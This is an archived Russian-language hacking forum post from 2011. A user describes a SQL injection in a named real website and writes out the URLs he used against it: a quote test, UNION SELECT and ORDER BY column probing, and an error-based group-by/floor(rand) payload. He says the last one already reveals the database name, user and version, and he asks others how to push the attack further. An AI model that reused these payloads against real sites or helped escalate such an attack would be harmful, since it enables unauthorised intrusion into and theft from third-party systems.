Ваши вопросы по уязвимостям.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

18.08.2011, 03:04

BigBear

Новичок

Регистрация: 04.12.2008

Сообщений: 11

Провел на форуме:
69033

Репутация: 8

Нарвался на одну интересную скулю.

Код:

Code:
http://sotchi-2014.info/content.php?id=1'

Пробовал сначала крутить через union, но скрипт грязно ругнулся

Код:

Code:
http://sotchi-2014.info/content.php?id=-999'+union+select+1+--+

The used SELECT statements have a different number of columns

В принципе я читал об объединение запросов и понимаю, что тут косяк в нессответствии столбцов при втором запросе.

Но опять же следующий запрос выводится корректно

Код:

Code:
http://sotchi-2014.info/content.php?id=-999'+order+by+1+--+  TRUE

http://sotchi-2014.info/content.php?id=-999'+order+by+2+--+   FALSE

Что навело на мысль, что колонка всё таки 1.

Далее попробовал крутануть через другой метод.

Код:

Code:
http://sotchi-2014.info/content.php?id=5'+or+1+group+by+concat((database()),floor(rand(0)*2))+having+min(0)+or+1+--+

БД, юзверя, и версию выводит корректно.

На попытку вывести что либо ещё ругается на СЕЛЕКТ.

Подскажите, каким путём докрутить данную скулю ?

Похожие темы

Тема

Автор

Раздел

Ответов

Последнее сообщение

Ваши ламерские приколы (Ну когда только комп появился)

PEPSICOLA

Болталка

188

23.05.2010 10:05

Ваши любимые компьютерные игры

PEPSICOLA

Болталка

280

19.08.2009 00:01

Ваши телеги...

F-IFTY

Болталка

18.08.2009 18:22

Вопросы по Ipb 2.0

Voodoo_People

Уязвимости CMS / форумов

15.02.2005 22:57